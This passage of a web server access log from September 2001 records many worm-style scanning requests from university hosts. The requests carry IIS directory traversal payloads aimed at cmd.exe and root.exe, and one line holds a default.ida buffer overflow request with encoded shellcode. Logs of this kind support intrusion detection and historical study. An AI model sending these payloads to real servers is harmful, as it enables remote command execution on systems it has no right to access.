  8995. 20010919 06:09:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8996. 20010919 06:09:49: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8997. 20010919 06:09:49: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8998. 20010919 06:09:50: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8999. 20010919 06:09:50: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9000. 20010919 06:09:50: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9001. 20010919 06:09:50: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9002. 20010919 06:09:50: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9003. 20010919 06:09:50: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9004. 20010919 06:09:50: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9005. 20010919 06:09:50: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9006. 20010919 06:09:50: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9007. 20010919 06:09:50: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9008. 20010919 06:09:57: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9009. 20010919 06:09:57: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9010. 20010919 06:09:57: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9011. 20010919 06:09:57: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9012. 20010919 06:09:57: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9013. 20010919 06:09:57: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9014. 20010919 06:09:57: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9015. 20010919 06:09:57: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9016. 20010919 06:09:58: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9017. 20010919 06:09:58: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9018. 20010919 06:09:58: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9019. 20010919 06:09:58: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9020. 20010919 06:09:58: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9021. 20010919 06:09:58: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9022. 20010919 06:09:58: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9023. 20010919 06:09:58: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9024. 20010919 06:11:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9025. 20010919 06:11:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9026. 20010919 06:11:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9027. 20010919 06:11:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9028. 20010919 06:11:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9029. 20010919 06:11:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9030. 20010919 06:11:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9031. 20010919 06:11:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9032. 20010919 06:11:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9033. 20010919 06:11:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9034. 20010919 06:11:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9035. 20010919 06:11:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9036. 20010919 06:11:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9037. 20010919 06:11:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9038. 20010919 06:11:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9039. 20010919 06:11:09: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9040. 20010919 06:12:44: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9041. 20010919 06:12:44: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9042. 20010919 06:12:44: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9043. 20010919 06:12:44: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9044. 20010919 06:12:45: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9045. 20010919 06:12:45: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9046. 20010919 06:12:45: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9047. 20010919 06:12:46: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9048. 20010919 06:12:46: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9049. 20010919 06:12:46: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9050. 20010919 06:12:46: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9051. 20010919 06:12:46: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9052. 20010919 06:12:46: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9053. 20010919 06:12:46: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9054. 20010919 06:12:46: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9055. 20010919 06:12:46: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9056. 20010919 06:12:53: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9057. 20010919 06:12:53: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9058. 20010919 06:12:53: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9059. 20010919 06:12:53: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9060. 20010919 06:12:53: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9061. 20010919 06:12:53: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9062. 20010919 06:12:53: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9063. 20010919 06:12:53: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9064. 20010919 06:12:54: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9065. 20010919 06:12:54: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9066. 20010919 06:12:54: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9067. 20010919 06:12:54: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9068. 20010919 06:12:54: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9069. 20010919 06:12:54: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9070. 20010919 06:12:54: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9071. 20010919 06:12:54: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9072. 20010919 06:13:12: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9073. 20010919 06:13:13: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9074. 20010919 06:13:13: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9075. 20010919 06:13:13: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9076. 20010919 06:13:13: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9077. 20010919 06:13:13: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9078. 20010919 06:13:13: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9079. 20010919 06:13:13: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9080. 20010919 06:13:13: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9081. 20010919 06:13:13: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9082. 20010919 06:13:13: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9083. 20010919 06:13:13: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9084. 20010919 06:13:13: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9085. 20010919 06:13:23: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9086. 20010919 06:13:26: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9087. 20010919 06:13:26: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  9088. 20010919 06:17:42: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9089. 20010919 06:18:42: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9090. 20010919 06:18:42: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9091. 20010919 06:18:42: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9092. 20010919 06:18:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9093. 20010919 06:18:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9094. 20010919 06:18:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9095. 20010919 06:18:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9096. 20010919 06:18:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9097. 20010919 06:18:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9098. 20010919 06:18:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9099. 20010919 06:18:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9100. 20010919 06:18:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9101. 20010919 06:18:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9102. 20010919 06:18:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9103. 20010919 06:18:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9104. 20010919 06:18:44: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9105. 20010919 06:20:08: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9106. 20010919 06:20:08: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9107. 20010919 06:20:08: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9108. 20010919 06:20:08: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9109. 20010919 06:20:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9110. 20010919 06:20:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9111. 20010919 06:20:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9112. 20010919 06:20:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9113. 20010919 06:20:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9114. 20010919 06:20:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9115. 20010919 06:20:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9116. 20010919 06:20:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9117. 20010919 06:20:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9118. 20010919 06:20:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9119. 20010919 06:20:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9120. 20010919 06:20:09: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9121. 20010919 06:27:41: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9122. 20010919 06:27:41: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9123. 20010919 06:27:41: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9124. 20010919 06:27:42: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9125. 20010919 06:27:42: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9126. 20010919 06:27:42: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9127. 20010919 06:27:42: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9128. 20010919 06:27:42: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9129. 20010919 06:27:42: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9130. 20010919 06:27:42: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9131. 20010919 06:27:42: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9132. 20010919 06:27:42: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9133. 20010919 06:27:42: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9134. 20010919 06:27:42: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9135. 20010919 06:27:42: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9136. 20010919 06:27:42: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9137. 20010919 06:37:14: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9138. 20010919 06:37:14: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9139. 20010919 06:37:14: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9140. 20010919 06:37:14: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9141. 20010919 06:37:14: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9142. 20010919 06:37:14: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9143. 20010919 06:37:14: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9144. 20010919 06:37:15: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9145. 20010919 06:37:15: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9146. 20010919 06:37:15: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9147. 20010919 06:37:15: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9148. 20010919 06:37:15: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9149. 20010919 06:37:15: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9150. 20010919 06:37:15: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9151. 20010919 06:37:16: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9152. 20010919 06:37:16: wks01-reg.reg.ucl.ac.uk [128.40.87.70] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9153. 20010919 06:38:03: wks01-reg.reg.ucl.ac.uk [128.40.87.70] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9154. 20010919 06:38:05: wks01-reg.reg.ucl.ac.uk [128.40.87.70] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9155. 20010919 06:38:06: wks01-reg.reg.ucl.ac.uk [128.40.87.70] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9156. 20010919 06:38:06: wks01-reg.reg.ucl.ac.uk [128.40.87.70] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9157. 20010919 06:38:06: wks01-reg.reg.ucl.ac.uk [128.40.87.70] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9158. 20010919 06:38:06: wks01-reg.reg.ucl.ac.uk [128.40.87.70] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9159. 20010919 06:38:06: wks01-reg.reg.ucl.ac.uk [128.40.87.70] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9160. 20010919 06:38:07: wks01-reg.reg.ucl.ac.uk [128.40.87.70] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9161. 20010919 06:38:07: wks01-reg.reg.ucl.ac.uk [128.40.87.70] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9162. 20010919 06:38:07: wks01-reg.reg.ucl.ac.uk [128.40.87.70] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9163. 20010919 06:38:07: wks01-reg.reg.ucl.ac.uk [128.40.87.70] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9164. 20010919 06:38:07: wks01-reg.reg.ucl.ac.uk [128.40.87.70] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9165. 20010919 06:38:08: wks01-reg.reg.ucl.ac.uk [128.40.87.70] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9166. 20010919 06:38:08: wks01-reg.reg.ucl.ac.uk [128.40.87.70] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
